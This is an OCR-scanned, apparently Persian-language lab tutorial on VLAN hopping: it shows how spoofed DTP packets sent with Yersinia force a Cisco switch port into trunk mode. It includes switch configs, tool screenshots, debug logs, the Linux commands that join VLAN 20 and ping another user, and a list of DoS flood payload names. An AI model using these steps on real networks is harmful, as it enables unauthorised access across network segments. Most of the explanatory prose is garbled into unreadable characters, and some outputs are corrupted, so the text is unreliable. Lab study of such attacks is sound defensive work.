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http flood HTTPGetFloodPayload Default/0
http flood HTTPPostFloodPayload \
tcp flood TCPFloodPayload Y
udp flood UDPFloodPayload Y
ping_flood PINGFloodPayload ¥
tcp_syn_ flood TCPSynFloodPayload o
ssl flood SSLFloodPayload F
http slowloris HTTPSlowlorisPayload Y
http slow body HTTPSlowBodyPayload A
http slow read HTTPSlowReadPayload q
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dns nxdomain DNSNXDOMAINPayload 13
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Dynamic Auto Dynamic Trunk Access
Desirable

Dynamic Auto Access Trunk Trunk Access
Dynamic Trunk Trunk Trunk Access

Desirable
Trunk Trunk Trunk Trunk Limited

connectivity
Access Access Access Limited Access
connectivity

DTP (,iiblgs cIl> 11 Jgao

» User1 g Attackrt (gloaiamaw cawl ¢p—idgy T JS_ib > 45
G=0yiawd 9 VLAN jI 4y uad @ =lgo g 315 ), 8 VLAN SO
I3 1y el (65503 VLAN )3 45 User2 i 4

Attacker
—
1- Dynamic Trunking Protocol 172.16.0.3
2- Virtual LAN VLAN 10

3- Encapsulation

gersinia )15l 5l eslaiwl Ly VLAN (i) (galos pl=ol (gl
GNS3 jljdlay ,3 |y T JSib )> 63ds ) (goa)liun 13l
9 LOb e (Lo thwly (T L golae 9 piSi50 ey
293-bpled 0S50 (2303 ) Lo yiguels (gaSusibs )15
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10.0.0.4 172.16.0.5
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Switch> enable

Switch# configure terminal

Switch(config)# interface Ethernet0/1
Switch(config-if)# switchport access vlan 10
Switch(config-if)# exit

Switch(config)# interface Ethernet0/2
Switch(config-if)# switchport access vlan 20
Switch(config-if)# exit

Switch(config)# interface Ethernet0/3

Switch(config-if)# switchport access vlan 10

s 4 Jaio 05)> §9-8 ©hgiwwd 2y jl puy
O Jaie 05)5 g 63id VLAN 10 gac Attacker g User1

)9iwd Lo g 3y S50 1,8 VLAN 20 )5 User2 , SguolS
00 linabl LeiT eayguac I show interface status

Lg.)._u)S.u s )5 DTP G lize eIl Lg.)._u)S.u sh=
Switch(config-if)# switchport mode dynamic desirable

Switch(config-if)# switchport mode dynamic auto

wialad ) DTP (g30)Sn W Liso edls 93 YL ©l)jgiws
dynamic desirable e Jl> )3 45 (o055 3230
pla8l g 639 6) Slio (6035 Eg)—id 3L 63 b pubais
4S5 > 4 a5l 9 3550 DTP (g Jlw)l 4
Trunk L)l Lzl )3 2w 315 1,8 4T )5 Jolie bl
,)h—8 dynamic auto wl> )5 &S () (sizan 3l
(G 8Ly (gh JLBbput g0 4 3l a8)S
o= 32350 -89 o Lo |) 395 9 330 (g5 DTP
logmg—w 0553 (59) )= VO)-SUi D90 4 YS9
.3yl 1,8 dynamic auto wall> )3 g 639 JL=d 9S

(2ds=8) b)) EloainSy e 4 030957 jl pu
50 3,lg Cisco_Switch
switch#show interface status
Port Name Status Vlan Duplex Speed Type
EtB/0 connected 1 auto auto unknown
EtB/1 connected 10 auto  auto unknown
EtB/2 connected 20 auto  auto unknown
Et@/3 connected 10 auto auto unknown
_Et1/0 connected 1 auto auto unknown

VLAN s lodaf, cogie Stlois¥ S5

Lwlgl e Privileged EXEC b_i=0 )> show interfaces ethernet 0/3 switchport jgiws ()3, 55)lg Ly Cisco_Switch )>

(3 JSib) 39— 88T 6155 (T )5 DTP (ga50,Sw

switch#show interfaces ethernet 8/3 switchport

Name: EtO/3
Switchport: Enabled

Administrative Mode: dynamic auto

Operational Mode: static access

Administrative Trunking Encapsulation: negotiate

Operational Trunking Encapsulation: native

Negotiation of Trunking: On

Access Mode VLAN: 10 (VLAN©@10)
Trunking Native Mode VLAN: 1 (default)
DTP ladicr il +¥ LSS

1- Interface Configuration
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yersinia il g DTP JSGgy b VLAN (yiy (galas (ybjg01
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oS 4y (—uwyiwd g LOVLAN I jo uc ay 5L 8

) as L,A.'i_uh*u) ) d_lo> LHI Iol_?tjl le)_} Ll )_ig.)
|y yersinia ,l;_8le) @i (g)l3_Spb Attacker 1 JS_i

lodlas) algs s debug dip event jgiws Ly (p—sized
VLAN by (galas plool (gl .puS saoliiw |, dip

0=9y50 DTP (g4 5L Ely w4y g 63, S 1, ol )3 a4 138 Trunk edls 4 cawl Jatio

Yersinia 0.8.2
File Protocols Actions Options Help
- s » = € O; b3 %]
Launchattack Editinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

Protocols Packets CDP DHCP 802.1@ 802.1X HSRP ISL | MPLS | STP | VTP Yersinia log

“9 Neighbor-1D Status Domain Interface Count Lastseen

ce [ |AABBCCO00130 04 ACCESS/AUTO eth0 1 14Aug06:23:45
20210 [
s021x |8
I

3 o
.
(T
ST - i
Field Value
Source MAC -AA:BB:C
Destination MAC  01:00:0(8 Dynamic Trunking Protocol S
Versich o1 Source MAC  |8C:7C:E8:46:D5:95|  DestinationMAC  |91:00:0C:CC:CC:CC
Neighbor-ID  AABBCCHM Version [01)  Neighbor-ID  [6C7CEB46D595| Status (03] Type [as]
Status .04 Domain \- |
Type 40 ) )
Domain 0x0008: 0100 Bccc cccc aabb ccBo 0130 0022 aaaa
B B

= 0x0036: 6000 G000 BOGO AOBO 6060 OGO

yersinia )lj8loys ;> DTP (gibyj bl :¢ JSib

—0y8 )35 Ly 0 JS_ib > a5 Launch attack ga_aS>

JLw)l 4 pla_sl enabling trunking (ga_la> L5l
h— §-8lg5 Loz (il plzul Ly .35 50 DTP (g

(0 JS—id) 39—iv 50 Egy—i Trunk bL_g)l

4 plasl yersinia )l5 8oy [DTP (ab;j 4 39,9 (a0 4
Jo—tilad 3380 03 JLwwyl DTP (clodiuwy cdly)s
il aS ()3 58y A_iS( 50 3L iie €S )> &S
9 Jlio g bLS)I Eg 0390 udly)s ) diw ]

el 0313 (Lluis |y 395 DTP (gai9)Sp Eg

O)—iixd 9 Cuwd (yl loyk w5l S o Ll aDl Ly

Yersinia 0.8.2
File Protocols Actions Options Help
[ s rd = a 0 > %]
Launch attackEditinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

Protocols Packets CDP DHCP 802.1Q 8021X DTP.‘ HSRP | ISL| MPLS STP | VTP  Yersinialog

1 Neighbor-I1D Status Domain Interface Count Lastseen
0 eth0
0
0
2 Choose protocol attack 0
o CDP DHCP 8021Q 802.1X HSRP | ISL | MPLS | STP VTP
1 Choose attack
0 Description DoS
e () sending DTP packet
2 = @ lenabling trunking
Field Value
Source MAC AA:BB:C
Destination MAC 01:00:0Q  Dynamic Trunking 3
Version 01 |Source MAC ﬁ
Neighbor-ID  AABBCCM Version 01|
Status 04 Domain | | Cancel | oK
Type .40 |
Domain 0x0000: 0100 Bccc cccc aabb ccOB 0130 0022 aaaa
= 0x0010: ©360 006c 2004 0100 0100 6500 0002 @005
1nterface il = T 9x0020: 0400 0300 0540 0804 BAGa aabb ccoe 0130
e 0x0030: 0000 00O 0000 00O 0000 0OOO

yersinia ,l8l0,3 )3 DTP (ga3bj sl :0 JSi

yersinia Il g DTP S5y b VLAN (i galas sisjoel ‘ ‘C
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(1 JSi) pled 50 3ylg 6)Lgs |y debug dtp event jgiws guygw )d dlas LT L

switchitdebug dtp event
*Aug 14 07:17:00.292: DTP-queue:Et@/3:Queuing DTP packet ../dyntrk/dyntrk_process.c:1365
*Aug 14 6?:17:83.293:|DTP-gg;:Et9g3:Ggod DTP packet received:|../dyntrk/dyntrk_core.c:1599
*Aug 14 07:17:00.293: DTP-pkt:Et@/3: Domain: ../dyntrk/dyntrk core.c:1503
*Aug 14 ©87:17:008.293: DTP-pkt:Et@/3: |Status: TOS/TAS = ACCESS/DESIRABLEl../dyntrk/dyntrk_;ore.c:1595
*Aug 14 07:17:00.293: DTP-pkt:Et@/3: |Type: TOT/TAT = 802.10/802.1Q L./dyntrk/dyntrk“;ore.c:1567
*Aug 14 07:17:00.293: DTP-pkt:Et@/3: ID: BC7CE846D595 ../dyntrk/dyntrk_core.c:1518
*Aug 14 07:17:00.293: DTP-decision:Et@/3:0ld NS/NT = ©x@0/0x01
../dyntrk/dyntrk_core.c:677

yersinia )l;8l0)5 owgs dlas 5T 51 ay DTP (glodimg cidly)s 1 JSid

Sl A5 (50 yu3 Trunk a0 bLS) €95 wiys v DTP (caiw aolgo 45 pnbize ;3 6 JSib )3 e bl

show interface )giws 15320 bLS) £9 (o pasine 1) 395 DTP (gaiu,S 95 9 395 85)5 9 03,5 Jluwl |,

Uirld VLAN Jga = 4 d 2450 qa iS50 3)lg |, status V=il IS5 (50 (920 Desirable g Access vy 4

Cawl a8l s Trunk 4o Et0/3 61555 bLus)l a3 631> g ise s 802.1q bL )l (gl wdguwsS g
7 Jsi)

switch#show interfaces status

Port Name Status Vlan Duplex Speed Type
Et@/0 connected 1 auto auto unknown
Et0/1 connected 10 auto auto unknown
Et0/2 connected 20 auto  auto unknown
| Et0/3 connected  trunk | auto auto unknown
ﬁtif@ connected 1 auto auto unknown

Trunk & bls)l £g5 yuues Ginlas :V JSib

Ol 40 @dlgd> 10 S Al aumaw g 39450 631> i ylad show interfaces ethernet 0/3 trunk. jgiw> a5 Lo
(8 M) )}L\ )l)_§ G)_i.gb VLAN ) IQ,Q[QM) A_:\)lb l) Trunk 0'5)) jl )9—C (50)"—?' as HL@VLAN

switch#show interfaces ethernet 8/3 trunk

Port Mode Encapsulation 5Status Native vlan
EtO/3 auto n-882.1q trunking 1

Port Vlans allowed on trunk

EtB/3 1-4094

Port Vlans allowed and active in management domain

Et0/3 1,10, 26|

Trunk o8> 5l yaie (5l jloxo (gLOVLAN (inlad :A JSi

ob)y8 (68uih L 83930 @ (5a0)dT I ((50U)8 (gaSuid S5 JLanl gl q@ugw 85> (ai Trunk Ly JL=>
OF 9035 Sl (gjlare (-05) g ptiSioe 03wl L lodiwg ()l wmzy 4 5L 5 5 )50 pliuuws 4
(o JS) piSi50 23005 Jgjls jl pel ol a0 (Rl (gh 3—islo VLAN 20

2 65—5h8 (gl @ ulaise sdlai_wl 8021q

‘a yersinia Il g DTP JS5gp b VLAN iy salos sisjoel




18aF | yliaw olKidsl> le'l- s 3Sy0 doliys

# modprobe 8021q
# vconfig add ethe 20
Added VLAN with VID == 20 to IF -:eth@:-

# ifconfig eth0.20 up
# ifconfig eth0.20 10.0.0.6 up

a2go aiuno 55 VLAN20 (c3i0)Sa 14 JSid

h Lol awyim 9 63,5 3985 (51)8 (gaSaib 4 VLAN (635080 s 9 bLS)I E95 )l L p2lgo wadyS g
(11 J5—d) abise

:~# ping 10.0.0.4
PING 10.0.0.4 (10.0.0.4) 56(84) bytes of data.
64 bytes from 10.0.0.4: icmp g=1 ttl=64 time=l1.
q=2 ttl=64 time=1.
=3 ttl=64 time=1.

se
64 bytes from 10.0.0.4: icmp se
64 bytes from .0.0.4: icmp seq

64 bytes from 10.0.0.4: icmp seq=4 ttl=64 time=1.

User2 aSui 4 (owyiwd :lo JSib
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